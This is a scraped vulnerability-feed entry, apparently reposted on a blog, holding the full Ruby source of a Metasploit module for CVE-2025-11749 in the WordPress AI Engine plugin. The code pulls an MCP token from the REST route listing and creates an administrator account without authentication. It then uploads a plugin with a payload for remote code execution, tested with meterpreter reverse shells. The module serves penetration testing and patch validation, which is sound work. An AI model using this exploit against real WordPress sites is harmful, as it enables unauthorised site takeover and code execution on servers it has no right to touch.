{“lastseen”:”2025-12-04T19:04:42″,”description”:”This module exploits an unauthenticated vulnerability in the WordPress AI Engine plugin versions use exploit\/multi\/http\/wpaienginemcprce msf exploitwpaienginemcprce show targets …targets… msf exploitwpaienginemcprce set TARGET msf…”,”published”:”2025-12-04T18:55:51″,”modified”:”2025-12-04T18:55:51″,”type”:”metasploit”,”title”:”WordPress AI Engine Plugin MCP Unauthenticated Admin Creation to RCE”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-MULTI-HTTP-WP_AI_ENGINE_MCP_RCE-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-11749″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n\\n include Msf::Payload::Php\\n include Msf::Exploit::FileDropper\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::Remote::HTTP::Wordpress\\n\\n prepend Msf::Exploit::Remote::AutoCheck\\n\\n ERROR_PATTERN = \/already exists|username.*taken|user.*exists\/i\\n SUCCESS_PATTERN = \/User (?:created|updated|#\\\\d+ updated)|success|created\/i\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘WordPress AI Engine Plugin MCP Unauthenticated Admin Creation to RCE’,\\n ‘Description’ =\\u003e %q{\\n This module exploits an unauthenticated vulnerability in the WordPress AI Engine plugin\\n (versions \\u003c= 3.1.3). The vulnerability allows an attacker to create an administrator account\\n via the MCP (Model Context Protocol) endpoint without authentication. The module supports\\n both `\/wp-json\/mcp\/v1\/` and `\/?rest_route=\/mcp\/v1\/` endpoints. Once an administrator\\n account is created, the module uploads and executes a malicious plugin to achieve remote\\n code execution (RCE).\\n },\\n ‘Author’ =\\u003e [\\n ‘Emiliano Versini’, # Vulnerability discovery\\n ‘Khaled Alenazi (Nxploited)’, # PoC\\n ‘Valentin Lobstein \\u003cchocapikk[at]leakix.net\\u003e’, # Metasploit module\\n ‘dledda-r7’ # Reviewer\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-11749’],\\n [‘URL’, ‘https:\/\/github.com\/Nxploited\/CVE-2025-11749’]\\n ],\\n ‘Platform’ =\\u003e %w[php unix linux win],\\n ‘Arch’ =\\u003e [ARCH_PHP, ARCH_CMD],\\n ‘DisclosureDate’ =\\u003e ‘2025-11-04’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Privileged’ =\\u003e false,\\n ‘Targets’ =\\u003e [\\n [\\n ‘PHP In-Memory’,\\n {\\n ‘Platform’ =\\u003e ‘php’,\\n ‘Arch’ =\\u003e ARCH_PHP\\n # tested with php\/meterpreter\/reverse_tcp\\n }\\n ],\\n [\\n ‘Unix\/Linux Command Shell’,\\n {\\n ‘Platform’ =\\u003e %w[unix linux],\\n ‘Arch’ =\\u003e ARCH_CMD\\n # tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp\\n }\\n ],\\n [\\n ‘Windows Command Shell’,\\n {\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e ARCH_CMD\\n # tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp\\n }\\n ]\\n ],\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n }\\n )\\n )\\n\\n register_options(\\n [\\n OptString.new(‘USERNAME’, [true, ‘Username to create’, Faker::Internet.username]),\\n OptString.new(‘PASSWORD’, [true, ‘Password for the new user’, Faker::Internet.password(min_length: 8)]),\\n OptString.new(‘EMAIL’, [true, ‘Email for the new user’, Faker::Internet.email])\\n ]\\n )\\n end\\n\\n def check\\n return CheckCode::Unknown unless wordpress_and_online?\\n\\n plugin_check = check_plugin_version_from_readme(‘ai-engine’, ‘3.1.4’)\\n return plugin_check if plugin_check == CheckCode::Safe\\n\\n @token = find_token\\n return CheckCode::Safe(‘MCP token not found. Plugin may be patched or not configured.’) unless @token\\n\\n CheckCode::Appears\\n end\\n\\n def exploit\\n fail_with(Failure::NotFound, ‘The target does not appear to be using WordPress’) unless wordpress_and_online?\\n\\n @token ||= find_token\\n fail_with(Failure::NotVulnerable, ‘MCP token not found. Plugin may be patched or not configured.’) unless @token\\n\\n username = datastore[‘USERNAME’]\\n password = datastore[‘PASSWORD’]\\n email = datastore[‘EMAIL’]\\n\\n result = create_admin_user(@token, username, password, email)\\n fail_with(Failure::UnexpectedReply, ‘Failed to create administrator account.’) if result == false\\n\\n if result == :user_exists\\n print_warning(‘User already exists, updating password and continuing exploitation…’)\\n update_user_password(@token, username, password)\\n end\\n\\n admin_cookie = wordpress_login(username, password)\\n unless admin_cookie\\n error_msg = ‘Failed to log in to WordPress admin.’\\n error_msg += ‘ User may exist with a different password.’ if result == :user_exists\\n fail_with(Failure::UnexpectedReply, error_msg)\\n end\\n\\n upload_and_execute_payload(admin_cookie)\\n end\\n\\n # REST API helpers\\n def send_rest_request(rest_path, method: ‘GET’, data: nil)\\n opts = {\\n ‘method’ =\\u003e method,\\n ‘ctype’ =\\u003e method == ‘POST’ ? ‘application\/json’ : nil,\\n ‘data’ =\\u003e data\\n }\\n\\n uri = normalize_uri(target_uri.path, ‘wp-json’, rest_path)\\n res = send_request_cgi(opts.merge(‘uri’ =\\u003e uri))\\n return res if res\\u0026.code == 200\\n\\n vars_get = { ‘rest_route’ =\\u003e rest_path }\\n send_request_cgi(opts.merge(‘uri’ =\\u003e normalize_uri(target_uri.path), ‘vars_get’ =\\u003e vars_get))\\n end\\n\\n def find_token\\n extract_token_from_routes(send_rest_request(‘\/’))\\n end\\n\\n def extract_token_from_routes(res)\\n return nil unless res\\u0026.code == 200\\n\\n routes = res.get_json_document\\u0026.dig(‘routes’)\\n return nil unless routes.is_a?(Hash)\\n\\n mcp_regex = %r{^\/mcp\/v1\/([^\/]+)\/sse$}\\n routes.each_key do |route|\\n next unless route.is_a?(String)\\n\\n match = route.match(mcp_regex)\\n next unless match\\n\\n token = match[1]\\n next if token == ‘sse’ || token.empty?\\n\\n return token\\n end\\n nil\\n end\\n\\n # MCP API helpers\\n def send_mcp_request(token, segments, method: ‘GET’, data: nil)\\n path = \\”\/mcp\/v1\/#{token}\/#{segments.join(‘\/’)}\\”\\n send_rest_request(path, method: method, data: data)\\n end\\n\\n def build_mcp_payload(tool_name, arguments)\\n {\\n ‘jsonrpc’ =\\u003e ‘2.0’,\\n ‘id’ =\\u003e rand(1..999_999),\\n ‘method’ =\\u003e ‘tools\/call’,\\n ‘params’ =\\u003e {\\n ‘name’ =\\u003e tool_name,\\n ‘arguments’ =\\u003e arguments\\n }\\n }.to_json\\n end\\n\\n def send_mcp_tool_call_raw(token, tool_name, arguments)\\n payload = build_mcp_payload(tool_name, arguments)\\n res = send_mcp_request(token, [‘sse’], method: ‘POST’, data: payload)\\n return nil unless res\\n return nil unless res.code == 200\\n\\n json_response = res.get_json_document\\n return nil unless json_response.is_a?(Hash)\\n\\n json_response.dig(‘result’, ‘content’)\\n end\\n\\n def send_mcp_tool_call(token, tool_name, arguments)\\n payload = build_mcp_payload(tool_name, arguments)\\n res = send_mcp_request(token, [‘sse’], method: ‘POST’, data: payload)\\n return false unless res\\n return true if res.code == 204\\n return false unless res.code == 200\\n\\n json_response = res.get_json_document\\n return false unless json_response.is_a?(Hash)\\n\\n error = json_response[‘error’]\\n return :user_exists if error.is_a?(Hash) \\u0026\\u0026 error[‘code’] == ‘existing_user_login’\\n return :user_exists if error.is_a?(Hash) \\u0026\\u0026 error[‘message’]\\u0026.match?(ERROR_PATTERN)\\n\\n result_content = json_response.dig(‘result’, ‘content’)\\n return true if result_content\\u0026.any? { |item| item[‘text’]\\u0026.match?(SUCCESS_PATTERN) }\\n\\n body = res.body.to_s\\n return :user_exists if body =~ ERROR_PATTERN\\n return true if body =~ SUCCESS_PATTERN\\n\\n false\\n end\\n\\n # User management\\n def get_user_id(token, username)\\n arguments = {\\n ‘search’ =\\u003e username,\\n ‘search_columns’ =\\u003e [‘user_login’]\\n }\\n\\n result_content = send_mcp_tool_call_raw(token, ‘wp_get_users’, arguments)\\n return nil unless result_content.is_a?(Array)\\n\\n result_content.each do |item|\\n next unless item.is_a?(Hash) \\u0026\\u0026 item[‘text’]\\n\\n text = item[‘text’].to_s\\n begin\\n users = JSON.parse(text)\\n users = [users] unless users.is_a?(Array)\\n user = users.find { |u| u[‘user_login’] == username }\\n return user[‘ID’].to_i if user \\u0026\\u0026 user[‘ID’]\\n rescue JSON::ParserError\\n next\\n end\\n end\\n\\n nil\\n end\\n\\n def create_admin_user(token, username, password, email)\\n arguments = {\\n ‘user_login’ =\\u003e username,\\n ‘user_email’ =\\u003e email,\\n ‘user_pass’ =\\u003e password,\\n ‘role’ =\\u003e ‘administrator’\\n }\\n send_mcp_tool_call(token, ‘wp_create_user’, arguments)\\n end\\n\\n def update_user_password(token, username, password)\\n user_id = get_user_id(token, username)\\n return false unless user_id\\n\\n arguments = {\\n ‘ID’ =\\u003e user_id,\\n ‘fields’ =\\u003e {\\n ‘user_pass’ =\\u003e password\\n }\\n }\\n result = send_mcp_tool_call(token, ‘wp_update_user’, arguments)\\n print_warning(‘Password update may have failed, attempting login anyway…’) unless result\\n result\\n end\\n\\n # Payload execution\\n def upload_and_execute_payload(admin_cookie)\\n plugin_name = \\”wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}\\”\\n payload_name = \\”ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}\\”\\n\\n zip = generate_plugin(plugin_name, payload_name)\\n fail_with(Failure::UnexpectedReply, ‘Failed to upload the payload’) unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)\\n\\n register_files_for_cleanup(\\”#{payload_name}.php\\”, \\”#{plugin_name}.php\\”)\\n register_dir_for_cleanup(\\”..\/#{plugin_name}\\”)\\n payload_file = \\”#{payload_name}.php\\”\\n payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_file)\\n send_request_cgi(‘uri’ =\\u003e payload_uri, ‘method’ =\\u003e ‘GET’)\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/wp_ai_engine_mcp_rce.rb”,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/wp_ai_engine_mcp_rce\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-04T19:04:42″,”description”:”This module exploits an unauthenticated vulnerability in the WordPress AI Engine plugin versions use exploit\/multi\/http\/wpaienginemcprce msf exploitwpaienginemcprce show targets …targets… msf exploitwpaienginemcprce set TARGET msf…”,”published”:”2025-12-04T18:55:51″,”modified”:”2025-12-04T18:55:51″,”type”:”metasploit”,”title”:”WordPress…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-28651","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n